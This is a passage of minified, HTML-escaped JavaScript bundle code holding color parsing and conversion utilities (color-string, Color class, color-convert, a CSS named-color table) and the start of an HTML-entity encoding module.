t=e.match(/^hwb\(\s*([+-]?\d{0,3}(?:\.\d+)?)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/);if(t){var i=parseFloat(t[4]);return[(parseFloat(t[1])%360+360)%360,c(parseFloat(t[2]),0,100),c(parseFloat(t[3]),0,100),c(isNaN(i)?1:i,0,1)]}return null},l.to.hex=function(){var e=s(arguments);return&quot;#&quot;+u(e[0])+u(e[1])+u(e[2])+(e[3]&lt;1?u(Math.round(255*e[3])):&quot;&quot;)},l.to.rgb=function(){var e=s(arguments);return e.length&lt;4||1===e[3]?&quot;rgb(&quot;+Math.round(e[0])+&quot;, &quot;+Math.round(e[1])+&quot;, &quot;+Math.round(e[2])+&quot;)&quot;:&quot;rgba(&quot;+Math.round(e[0])+&quot;, &quot;+Math.round(e[1])+&quot;, &quot;+Math.round(e[2])+&quot;, &quot;+e[3]+&quot;)&quot;},l.to.rgb.percent=function(){var e=s(arguments),t=Math.round(e[0]/255*100),i=Math.round(e[1]/255*100),a=Math.round(e[2]/255*100);return e.length&lt;4||1===e[3]?&quot;rgb(&quot;+t+&quot;%, &quot;+i+&quot;%, &quot;+a+&quot;%)&quot;:&quot;rgba(&quot;+t+&quot;%, &quot;+i+&quot;%, &quot;+a+&quot;%, &quot;+e[3]+&quot;)&quot;},l.to.hsl=function(){var e=s(arguments);return e.length&lt;4||1===e[3]?&quot;hsl(&quot;+e[0]+&quot;, &quot;+e[1]+&quot;%, &quot;+e[2]+&quot;%)&quot;:&quot;hsla(&quot;+e[0]+&quot;, &quot;+e[1]+&quot;%, &quot;+e[2]+&quot;%, &quot;+e[3]+&quot;)&quot;},l.to.hwb=function(){var e=s(arguments),t=&quot;&quot;;return e.length&gt;=4&amp;&amp;1!==e[3]&amp;&amp;(t=&quot;, &quot;+e[3]),&quot;hwb(&quot;+e[0]+&quot;, &quot;+e[1]+&quot;%, &quot;+e[2]+&quot;%&quot;+t+&quot;)&quot;},l.to.keyword=function(e){return n[e.slice(0,3)]}},520:function(e,t,i){const a=i(854),s=i(137),r=[&quot;keyword&quot;,&quot;gray&quot;,&quot;hex&quot;],n={};for(const e of Object.keys(s))n[[...s[e].labels].sort().join(&quot;&quot;)]=e;const o={};function l(e,t){if(!(this instanceof l))return new l(e,t);if(t&amp;&amp;t in r&amp;&amp;(t=null),t&amp;&amp;!(t in s))throw new Error(&quot;Unknown model: &quot;+t);let i,c;if(null==e)this.model=&quot;rgb&quot;,this.color=[0,0,0],this.valpha=1;else if(e instanceof l)this.model=e.model,this.color=[...e.color],this.valpha=e.valpha;else if(&quot;string&quot;==typeof e){const t=a.get(e);if(null===t)throw new Error(&quot;Unable to parse color from string: &quot;+e);this.model=t.model,c=s[this.model].channels,this.color=t.value.slice(0,c),this.valpha=&quot;number&quot;==typeof t.value[c]?t.value[c]:1}else if(e.length&gt;0){this.model=t||&quot;rgb&quot;,c=s[this.model].channels;const i=Array.prototype.slice.call(e,0,c);this.color=d(i,c),this.valpha=&quot;number&quot;==typeof e[c]?e[c]:1}else if(&quot;number&quot;==typeof e)this.model=&quot;rgb&quot;,this.color=[e&gt;&gt;16&amp;255,e&gt;&gt;8&amp;255,255&amp;e],this.valpha=1;else{this.valpha=1;const t=Object.keys(e);&quot;alpha&quot;in e&amp;&amp;(t.splice(t.indexOf(&quot;alpha&quot;),1),this.valpha=&quot;number&quot;==typeof e.alpha?e.alpha:0);const a=t.sort().join(&quot;&quot;);if(!(a in n))throw new Error(&quot;Unable to parse color from object: &quot;+JSON.stringify(e));this.model=n[a];const{labels:r}=s[this.model],o=[];for(i=0;i&lt;r.length;i++)o.push(e[r[i]]);this.color=d(o)}if(o[this.model])for(c=s[this.model].channels,i=0;i&lt;c;i++){const e=o[this.model][i];e&amp;&amp;(this.color[i]=e(this.color[i]))}this.valpha=Math.max(0,Math.min(1,this.valpha)),Object.freeze&amp;&amp;Object.freeze(this)}l.prototype={toString(){return this.string()},toJSON(){return this[this.model]()},string(e){let t=this.model in a.to?this:this.rgb();t=t.round(&quot;number&quot;==typeof e?e:1);const i=1===t.valpha?t.color:[...t.color,this.valpha];return a.to[t.model](i)},percentString(e){const t=this.rgb().round(&quot;number&quot;==typeof e?e:1),i=1===t.valpha?t.color:[...t.color,this.valpha];return a.to.rgb.percent(i)},array(){return 1===this.valpha?[...this.color]:[...this.color,this.valpha]},object(){const e={},{channels:t}=s[this.model],{labels:i}=s[this.model];for(let a=0;a&lt;t;a++)e[i[a]]=this.color[a];return 1!==this.valpha&amp;&amp;(e.alpha=this.valpha),e},unitArray(){const e=this.rgb().color;return e[0]/=255,e[1]/=255,e[2]/=255,1!==this.valpha&amp;&amp;e.push(this.valpha),e},unitObject(){const e=this.rgb().object();return e.r/=255,e.g/=255,e.b/=255,1!==this.valpha&amp;&amp;(e.alpha=this.valpha),e},round(e){return e=Math.max(e||0,0),new l([...this.color.map(c(e)),this.valpha],this.model)},alpha(e){return void 0!==e?new l([...this.color,Math.max(0,Math.min(1,e))],this.model):this.valpha},red:u(&quot;rgb&quot;,0,h(255)),green:u(&quot;rgb&quot;,1,h(255)),blue:u(&quot;rgb&quot;,2,h(255)),hue:u([&quot;hsl&quot;,&quot;hsv&quot;,&quot;hsl&quot;,&quot;hwb&quot;,&quot;hcg&quot;],0,(e=&gt;(e%360+360)%360)),saturationl:u(&quot;hsl&quot;,1,h(100)),lightness:u(&quot;hsl&quot;,2,h(100)),saturationv:u(&quot;hsv&quot;,1,h(100)),value:u(&quot;hsv&quot;,2,h(100)),chroma:u(&quot;hcg&quot;,1,h(100)),gray:u(&quot;hcg&quot;,2,h(100)),white:u(&quot;hwb&quot;,1,h(100)),wblack:u(&quot;hwb&quot;,2,h(100)),cyan:u(&quot;cmyk&quot;,0,h(100)),magenta:u(&quot;cmyk&quot;,1,h(100)),yellow:u(&quot;cmyk&quot;,2,h(100)),black:u(&quot;cmyk&quot;,3,h(100)),x:u(&quot;xyz&quot;,0,h(95.047)),y:u(&quot;xyz&quot;,1,h(100)),z:u(&quot;xyz&quot;,2,h(108.833)),l:u(&quot;lab&quot;,0,h(100)),a:u(&quot;lab&quot;,1),b:u(&quot;lab&quot;,2),keyword(e){return void 0!==e?new l(e):s[this.model].keyword(this.color)},hex(e){return void 0!==e?new l(e):a.to.hex(this.rgb().round().color)},hexa(e){if(void 0!==e)return new l(e);const t=this.rgb().round().color;let i=Math.round(255*this.valpha).toString(16).toUpperCase();return 1===i.length&amp;&amp;(i=&quot;0&quot;+i),a.to.hex(t)+i},rgbNumber(){const e=this.rgb().color;return(255&amp;e[0])&lt;&lt;16|(255&amp;e[1])&lt;&lt;8|255&amp;e[2]},luminosity(){const e=this.rgb().color,t=[];for(const[i,a]of e.entries()){const e=a/255;t[i]=e&lt;=.04045?e/12.92:((e+.055)/1.055)**2.4}return.2126*t[0]+.7152*t[1]+.0722*t[2]},contrast(e){const t=this.luminosity(),i=e.luminosity();return t&gt;i?(t+.05)/(i+.05):(i+.05)/(t+.05)},level(e){const t=this.contrast(e);return t&gt;=7?&quot;AAA&quot;:t&gt;=4.5?&quot;AA&quot;:&quot;&quot;},isDark(){const e=this.rgb().color;return(2126*e[0]+7152*e[1]+722*e[2])/1e4&lt;128},isLight(){return!this.isDark()},negate(){const e=this.rgb();for(let t=0;t&lt;3;t++)e.color[t]=255-e.color[t];return e},lighten(e){const t=this.hsl();return t.color[2]+=t.color[2]*e,t},darken(e){const t=this.hsl();return t.color[2]-=t.color[2]*e,t},saturate(e){const t=this.hsl();return t.color[1]+=t.color[1]*e,t},desaturate(e){const t=this.hsl();return t.color[1]-=t.color[1]*e,t},whiten(e){const t=this.hwb();return t.color[1]+=t.color[1]*e,t},blacken(e){const t=this.hwb();return t.color[2]+=t.color[2]*e,t},grayscale(){const e=this.rgb().color,t=.3*e[0]+.59*e[1]+.11*e[2];return l.rgb(t,t,t)},fade(e){return this.alpha(this.valpha-this.valpha*e)},opaquer(e){return this.alpha(this.valpha+this.valpha*e)},rotate(e){const t=this.hsl();let i=t.color[0];return i=(i+e)%360,i=i&lt;0?360+i:i,t.color[0]=i,t},mix(e,t){if(!e||!e.rgb)throw new Error(&#039;Argument to &quot;mix&quot; was not a Color instance, but rather an instance of &#039;+typeof e);const i=e.rgb(),a=this.rgb(),s=void 0===t?.5:t,r=2*s-1,n=i.alpha()-a.alpha(),o=((r*n==-1?r:(r+n)/(1+r*n))+1)/2,c=1-o;return l.rgb(o*i.red()+c*a.red(),o*i.green()+c*a.green(),o*i.blue()+c*a.blue(),i.alpha()*s+a.alpha()*(1-s))}};for(const e of Object.keys(s)){if(r.includes(e))continue;const{channels:t}=s[e];l.prototype[e]=function(...t){return this.model===e?new l(this):t.length&gt;0?new l(t,e):new l([...(i=s[this.model][e].raw(this.color),Array.isArray(i)?i:[i]),this.valpha],e);var i},l[e]=function(...i){let a=i[0];return&quot;number&quot;==typeof a&amp;&amp;(a=d(i,t)),new l(a,e)}}function c(e){return function(t){return function(e,t){return Number(e.toFixed(t))}(t,e)}}function u(e,t,i){e=Array.isArray(e)?e:[e];for(const a of e)(o[a]||(o[a]=[]))[t]=i;return e=e[0],function(a){let s;return void 0!==a?(i&amp;&amp;(a=i(a)),s=this[e](),s.color[t]=a,s):(s=this[e]().color[t],i&amp;&amp;(s=i(s)),s)}}function h(e){return function(t){return Math.max(0,Math.min(e,t))}}function d(e,t){for(let i=0;i&lt;t;i++)&quot;number&quot;!=typeof e[i]&amp;&amp;(e[i]=0);return e}e.exports=l},920:function(e,t,i){const a=i(993),s={};for(const e of Object.keys(a))s[a[e]]=e;const r={rgb:{channels:3,labels:&quot;rgb&quot;},hsl:{channels:3,labels:&quot;hsl&quot;},hsv:{channels:3,labels:&quot;hsv&quot;},hwb:{channels:3,labels:&quot;hwb&quot;},cmyk:{channels:4,labels:&quot;cmyk&quot;},xyz:{channels:3,labels:&quot;xyz&quot;},lab:{channels:3,labels:&quot;lab&quot;},lch:{channels:3,labels:&quot;lch&quot;},hex:{channels:1,labels:[&quot;hex&quot;]},keyword:{channels:1,labels:[&quot;keyword&quot;]},ansi16:{channels:1,labels:[&quot;ansi16&quot;]},ansi256:{channels:1,labels:[&quot;ansi256&quot;]},hcg:{channels:3,labels:[&quot;h&quot;,&quot;c&quot;,&quot;g&quot;]},apple:{channels:3,labels:[&quot;r16&quot;,&quot;g16&quot;,&quot;b16&quot;]},gray:{channels:1,labels:[&quot;gray&quot;]}};e.exports=r;for(const e of Object.keys(r)){if(!(&quot;channels&quot;in r[e]))throw new Error(&quot;missing channels property: &quot;+e);if(!(&quot;labels&quot;in r[e]))throw new Error(&quot;missing channel labels property: &quot;+e);if(r[e].labels.length!==r[e].channels)throw new Error(&quot;channel and label counts mismatch: &quot;+e);const{channels:t,labels:i}=r[e];delete r[e].channels,delete r[e].labels,Object.defineProperty(r[e],&quot;channels&quot;,{value:t}),Object.defineProperty(r[e],&quot;labels&quot;,{value:i})}r.rgb.hsl=function(e){const t=e[0]/255,i=e[1]/255,a=e[2]/255,s=Math.min(t,i,a),r=Math.max(t,i,a),n=r-s;let o,l;r===s?o=0:t===r?o=(i-a)/n:i===r?o=2+(a-t)/n:a===r&amp;&amp;(o=4+(t-i)/n),o=Math.min(60*o,360),o&lt;0&amp;&amp;(o+=360);const c=(s+r)/2;return l=r===s?0:c&lt;=.5?n/(r+s):n/(2-r-s),[o,100*l,100*c]},r.rgb.hsv=function(e){let t,i,a,s,r;const n=e[0]/255,o=e[1]/255,l=e[2]/255,c=Math.max(n,o,l),u=c-Math.min(n,o,l),h=function(e){return(c-e)/6/u+.5};return 0===u?(s=0,r=0):(r=u/c,t=h(n),i=h(o),a=h(l),n===c?s=a-i:o===c?s=1/3+t-a:l===c&amp;&amp;(s=2/3+i-t),s&lt;0?s+=1:s&gt;1&amp;&amp;(s-=1)),[360*s,100*r,100*c]},r.rgb.hwb=function(e){const t=e[0],i=e[1];let a=e[2];const s=r.rgb.hsl(e)[0],n=1/255*Math.min(t,Math.min(i,a));return a=1-1/255*Math.max(t,Math.max(i,a)),[s,100*n,100*a]},r.rgb.cmyk=function(e){const t=e[0]/255,i=e[1]/255,a=e[2]/255,s=Math.min(1-t,1-i,1-a);return[100*((1-t-s)/(1-s)||0),100*((1-i-s)/(1-s)||0),100*((1-a-s)/(1-s)||0),100*s]},r.rgb.keyword=function(e){const t=s[e];if(t)return t;let i,r=1/0;for(const t of Object.keys(a)){const s=a[t],l=(o=s,((n=e)[0]-o[0])**2+(n[1]-o[1])**2+(n[2]-o[2])**2);l&lt;r&amp;&amp;(r=l,i=t)}var n,o;return i},r.keyword.rgb=function(e){return a[e]},r.rgb.xyz=function(e){let t=e[0]/255,i=e[1]/255,a=e[2]/255;t=t&gt;.04045?((t+.055)/1.055)**2.4:t/12.92,i=i&gt;.04045?((i+.055)/1.055)**2.4:i/12.92,a=a&gt;.04045?((a+.055)/1.055)**2.4:a/12.92;return[100*(.4124*t+.3576*i+.1805*a),100*(.2126*t+.7152*i+.0722*a),100*(.0193*t+.1192*i+.9505*a)]},r.rgb.lab=function(e){const t=r.rgb.xyz(e);let i=t[0],a=t[1],s=t[2];i/=95.047,a/=100,s/=108.883,i=i&gt;.008856?i**(1/3):7.787*i+16/116,a=a&gt;.008856?a**(1/3):7.787*a+16/116,s=s&gt;.008856?s**(1/3):7.787*s+16/116;return[116*a-16,500*(i-a),200*(a-s)]},r.hsl.rgb=function(e){const t=e[0]/360,i=e[1]/100,a=e[2]/100;let s,r,n;if(0===i)return n=255*a,[n,n,n];s=a&lt;.5?a*(1+i):a+i-a*i;const o=2*a-s,l=[0,0,0];for(let e=0;e&lt;3;e++)r=t+1/3*-(e-1),r&lt;0&amp;&amp;r++,r&gt;1&amp;&amp;r--,n=6*r&lt;1?o+6*(s-o)*r:2*r&lt;1?s:3*r&lt;2?o+(s-o)*(2/3-r)*6:o,l[e]=255*n;return l},r.hsl.hsv=function(e){const t=e[0];let i=e[1]/100,a=e[2]/100,s=i;const r=Math.max(a,.01);a*=2,i*=a&lt;=1?a:2-a,s*=r&lt;=1?r:2-r;return[t,100*(0===a?2*s/(r+s):2*i/(a+i)),100*((a+i)/2)]},r.hsv.rgb=function(e){const t=e[0]/60,i=e[1]/100;let a=e[2]/100;const s=Math.floor(t)%6,r=t-Math.floor(t),n=255*a*(1-i),o=255*a*(1-i*r),l=255*a*(1-i*(1-r));switch(a*=255,s){case 0:return[a,l,n];case 1:return[o,a,n];case 2:return[n,a,l];case 3:return[n,o,a];case 4:return[l,n,a];case 5:return[a,n,o]}},r.hsv.hsl=function(e){const t=e[0],i=e[1]/100,a=e[2]/100,s=Math.max(a,.01);let r,n;n=(2-i)*a;const o=(2-i)*s;return r=i*s,r/=o&lt;=1?o:2-o,r=r||0,n/=2,[t,100*r,100*n]},r.hwb.rgb=function(e){const t=e[0]/360;let i=e[1]/100,a=e[2]/100;const s=i+a;let r;s&gt;1&amp;&amp;(i/=s,a/=s);const n=Math.floor(6*t),o=1-a;r=6*t-n,0!=(1&amp;n)&amp;&amp;(r=1-r);const l=i+r*(o-i);let c,u,h;switch(n){default:case 6:case 0:c=o,u=l,h=i;break;case 1:c=l,u=o,h=i;break;case 2:c=i,u=o,h=l;break;case 3:c=i,u=l,h=o;break;case 4:c=l,u=i,h=o;break;case 5:c=o,u=i,h=l}return[255*c,255*u,255*h]},r.cmyk.rgb=function(e){const t=e[0]/100,i=e[1]/100,a=e[2]/100,s=e[3]/100;return[255*(1-Math.min(1,t*(1-s)+s)),255*(1-Math.min(1,i*(1-s)+s)),255*(1-Math.min(1,a*(1-s)+s))]},r.xyz.rgb=function(e){const t=e[0]/100,i=e[1]/100,a=e[2]/100;let s,r,n;return s=3.2406*t+-1.5372*i+-.4986*a,r=-.9689*t+1.8758*i+.0415*a,n=.0557*t+-.204*i+1.057*a,s=s&gt;.0031308?1.055*s**(1/2.4)-.055:12.92*s,r=r&gt;.0031308?1.055*r**(1/2.4)-.055:12.92*r,n=n&gt;.0031308?1.055*n**(1/2.4)-.055:12.92*n,s=Math.min(Math.max(0,s),1),r=Math.min(Math.max(0,r),1),n=Math.min(Math.max(0,n),1),[255*s,255*r,255*n]},r.xyz.lab=function(e){let t=e[0],i=e[1],a=e[2];t/=95.047,i/=100,a/=108.883,t=t&gt;.008856?t**(1/3):7.787*t+16/116,i=i&gt;.008856?i**(1/3):7.787*i+16/116,a=a&gt;.008856?a**(1/3):7.787*a+16/116;return[116*i-16,500*(t-i),200*(i-a)]},r.lab.xyz=function(e){let t,i,a;i=(e[0]+16)/116,t=e[1]/500+i,a=i-e[2]/200;const s=i**3,r=t**3,n=a**3;return i=s&gt;.008856?s:(i-16/116)/7.787,t=r&gt;.008856?r:(t-16/116)/7.787,a=n&gt;.008856?n:(a-16/116)/7.787,t*=95.047,i*=100,a*=108.883,[t,i,a]},r.lab.lch=function(e){const t=e[0],i=e[1],a=e[2];let s;s=360*Math.atan2(a,i)/2/Math.PI,s&lt;0&amp;&amp;(s+=360);return[t,Math.sqrt(i*i+a*a),s]},r.lch.lab=function(e){const t=e[0],i=e[1],a=e[2]/360*2*Math.PI;return[t,i*Math.cos(a),i*Math.sin(a)]},r.rgb.ansi16=function(e,t=null){const[i,a,s]=e;let n=null===t?r.rgb.hsv(e)[2]:t;if(n=Math.round(n/50),0===n)return 30;let o=30+(Math.round(s/255)&lt;&lt;2|Math.round(a/255)&lt;&lt;1|Math.round(i/255));return 2===n&amp;&amp;(o+=60),o},r.hsv.ansi16=function(e){return r.rgb.ansi16(r.hsv.rgb(e),e[2])},r.rgb.ansi256=function(e){const t=e[0],i=e[1],a=e[2];if(t===i&amp;&amp;i===a)return t&lt;8?16:t&gt;248?231:Math.round((t-8)/247*24)+232;return 16+36*Math.round(t/255*5)+6*Math.round(i/255*5)+Math.round(a/255*5)},r.ansi16.rgb=function(e){let t=e%10;if(0===t||7===t)return e&gt;50&amp;&amp;(t+=3.5),t=t/10.5*255,[t,t,t];const i=.5*(1+~~(e&gt;50));return[(1&amp;t)*i*255,(t&gt;&gt;1&amp;1)*i*255,(t&gt;&gt;2&amp;1)*i*255]},r.ansi256.rgb=function(e){if(e&gt;=232){const t=10*(e-232)+8;return[t,t,t]}let t;e-=16;return[Math.floor(e/36)/5*255,Math.floor((t=e%36)/6)/5*255,t%6/5*255]},r.rgb.hex=function(e){const t=(((255&amp;Math.round(e[0]))&lt;&lt;16)+((255&amp;Math.round(e[1]))&lt;&lt;8)+(255&amp;Math.round(e[2]))).toString(16).toUpperCase();return&quot;000000&quot;.substring(t.length)+t},r.hex.rgb=function(e){const t=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!t)return[0,0,0];let i=t[0];3===t[0].length&amp;&amp;(i=i.split(&quot;&quot;).map((e=&gt;e+e)).join(&quot;&quot;));const a=parseInt(i,16);return[a&gt;&gt;16&amp;255,a&gt;&gt;8&amp;255,255&amp;a]},r.rgb.hcg=function(e){const t=e[0]/255,i=e[1]/255,a=e[2]/255,s=Math.max(Math.max(t,i),a),r=Math.min(Math.min(t,i),a),n=s-r;let o,l;return o=n&lt;1?r/(1-n):0,l=n&lt;=0?0:s===t?(i-a)/n%6:s===i?2+(a-t)/n:4+(t-i)/n,l/=6,l%=1,[360*l,100*n,100*o]},r.hsl.hcg=function(e){const t=e[1]/100,i=e[2]/100,a=i&lt;.5?2*t*i:2*t*(1-i);let s=0;return a&lt;1&amp;&amp;(s=(i-.5*a)/(1-a)),[e[0],100*a,100*s]},r.hsv.hcg=function(e){const t=e[1]/100,i=e[2]/100,a=t*i;let s=0;return a&lt;1&amp;&amp;(s=(i-a)/(1-a)),[e[0],100*a,100*s]},r.hcg.rgb=function(e){const t=e[0]/360,i=e[1]/100,a=e[2]/100;if(0===i)return[255*a,255*a,255*a];const s=[0,0,0],r=t%1*6,n=r%1,o=1-n;let l=0;switch(Math.floor(r)){case 0:s[0]=1,s[1]=n,s[2]=0;break;case 1:s[0]=o,s[1]=1,s[2]=0;break;case 2:s[0]=0,s[1]=1,s[2]=n;break;case 3:s[0]=0,s[1]=o,s[2]=1;break;case 4:s[0]=n,s[1]=0,s[2]=1;break;default:s[0]=1,s[1]=0,s[2]=o}return l=(1-i)*a,[255*(i*s[0]+l),255*(i*s[1]+l),255*(i*s[2]+l)]},r.hcg.hsv=function(e){const t=e[1]/100,i=t+e[2]/100*(1-t);let a=0;return i&gt;0&amp;&amp;(a=t/i),[e[0],100*a,100*i]},r.hcg.hsl=function(e){const t=e[1]/100,i=e[2]/100*(1-t)+.5*t;let a=0;return i&gt;0&amp;&amp;i&lt;.5?a=t/(2*i):i&gt;=.5&amp;&amp;i&lt;1&amp;&amp;(a=t/(2*(1-i))),[e[0],100*a,100*i]},r.hcg.hwb=function(e){const t=e[1]/100,i=t+e[2]/100*(1-t);return[e[0],100*(i-t),100*(1-i)]},r.hwb.hcg=function(e){const t=e[1]/100,i=1-e[2]/100,a=i-t;let s=0;return a&lt;1&amp;&amp;(s=(i-a)/(1-a)),[e[0],100*a,100*s]},r.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},r.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},r.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},r.gray.hsl=function(e){return[0,0,e[0]]},r.gray.hsv=r.gray.hsl,r.gray.hwb=function(e){return[0,100,e[0]]},r.gray.cmyk=function(e){return[0,0,0,e[0]]},r.gray.lab=function(e){return[e[0],0,0]},r.gray.hex=function(e){const t=255&amp;Math.round(e[0]/100*255),i=((t&lt;&lt;16)+(t&lt;&lt;8)+t).toString(16).toUpperCase();return&quot;000000&quot;.substring(i.length)+i},r.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},137:function(e,t,i){const a=i(920),s=i(584),r={};Object.keys(a).forEach((e=&gt;{r[e]={},Object.defineProperty(r[e],&quot;channels&quot;,{value:a[e].channels}),Object.defineProperty(r[e],&quot;labels&quot;,{value:a[e].labels});const t=s(e);Object.keys(t).forEach((i=&gt;{const a=t[i];r[e][i]=function(e){const t=function(...t){const i=t[0];if(null==i)return i;i.length&gt;1&amp;&amp;(t=i);const a=e(t);if(&quot;object&quot;==typeof a)for(let e=a.length,t=0;t&lt;e;t++)a[t]=Math.round(a[t]);return a};return&quot;conversion&quot;in e&amp;&amp;(t.conversion=e.conversion),t}(a),r[e][i].raw=function(e){const t=function(...t){const i=t[0];return null==i?i:(i.length&gt;1&amp;&amp;(t=i),e(t))};return&quot;conversion&quot;in e&amp;&amp;(t.conversion=e.conversion),t}(a)}))})),e.exports=r},584:function(e,t,i){const a=i(920);function s(e){const t=function(){const e={},t=Object.keys(a);for(let i=t.length,a=0;a&lt;i;a++)e[t[a]]={distance:-1,parent:null};return e}(),i=[e];for(t[e].distance=0;i.length;){const e=i.pop(),s=Object.keys(a[e]);for(let a=s.length,r=0;r&lt;a;r++){const a=s[r],n=t[a];-1===n.distance&amp;&amp;(n.distance=t[e].distance+1,n.parent=e,i.unshift(a))}}return t}function r(e,t){return function(i){return t(e(i))}}function n(e,t){const i=[t[e].parent,e];let s=a[t[e].parent][e],n=t[e].parent;for(;t[n].parent;)i.unshift(t[n].parent),s=r(a[t[n].parent][n],s),n=t[n].parent;return s.conversion=i,s}e.exports=function(e){const t=s(e),i={},a=Object.keys(t);for(let e=a.length,s=0;s&lt;e;s++){const e=a[s];null!==t[e].parent&amp;&amp;(i[e]=n(e,t))}return i}},993:function(e){&quot;use strict&quot;;e.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},67:function(e,t,i){var a;e=i.nmd(e),function(s){var r=t,n=(e&amp;&amp;e.exports,&quot;object&quot;==typeof i.g&amp;&amp;i.g);n.global!==n&amp;&amp;n.window;var o=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,l=/[\x01-\x7F]/g,c=/[\x01-\t\x0B\f\x0E-\x1F\x7F\x81\x8D\x8F\x90\x9D\xA0-\uFFFF]/g,u=/&lt;\u20D2|=\u20E5|&gt;\u20D2|\u205F\u200A|\u219D\u0338|\u2202\u0338|\u2220\u20D2|\u2229\uFE00|\u222A\uFE00|\u223C\u20D2|\u223D\u0331|\u223E\u0333|\u2242\u0338|\u224B\u0338|\u224D\u20D2|\u224E\u0338|\u224F\u0338|\u2250\u0338|\u2261\u20E5|\u2264\u20D2|\u2265\u20D2|\u2266\u0338|\u2267\u0338|\u2268\uFE00|\u2269\uFE00|\u226A\u0338|\u226A\u20D2|\u226B\u0338|\u226B\u20D2|\u227F\u0338|\u2282\u20D2|\u2283\u20D2|\u228A\uFE00|\u228B\uFE00|\u228F\u0338|\u2290\u0338|\u2293\uFE00|\u2294\uFE00|\u22B4\u20D2|\u22B5\u20D2|\u22D8\u0338|\u22D9\u0338|\u22DA\uFE00|\u22DB\uFE00|\u22F5\u0338|\u22F9\u0338|\u2933\u0338|\u29CF\u0338|\u29D0\u0338|\u2A6D\u0338|\u2A70\u0338|\u2A7D\u0338|\u2A7E\u0338|\u2AA1\u0338|\u2AA2\u0338|\u2AAC\uFE00|\u2AAD\uFE00|\u2AAF\u0338|\u2AB0\u0338|\u2AC5\u0338|\u2AC6\u0338|\u2ACB\uFE00|\u2ACC\uFE00|\u2AFD\u20E5|[\xA0-\u0113\u0116-\u0122\u0124-\u012B\u012E-\u014D\u0150-\u017E\u0192\u01B5\u01F5\u0237\u02C6\u02C7\u02D8-\u02DD\u0311\u0391-\u03A1\u03A3-\u03A9\u03B1-\u03C9\u03D1\u03D2\u03D5\u03D6\u03DC\u03DD\u03F0\u03F1\u03F5\u03F6\u0401-\u040C\u040E-\u044F\u0451-\u045C\u045E\u045F\u2002-\u2005\u2007-\u2010\u2013-\u2016\u2018-\u201A\u201C-\u201E\u2020-\u2022\u2025\u2026\u2030-\u2035\u2039\u203A\u203E\u2041\u2043\u2044\u204F\u2057\u205F-\u2063\u20AC\u20DB\u20DC\u2102\u2105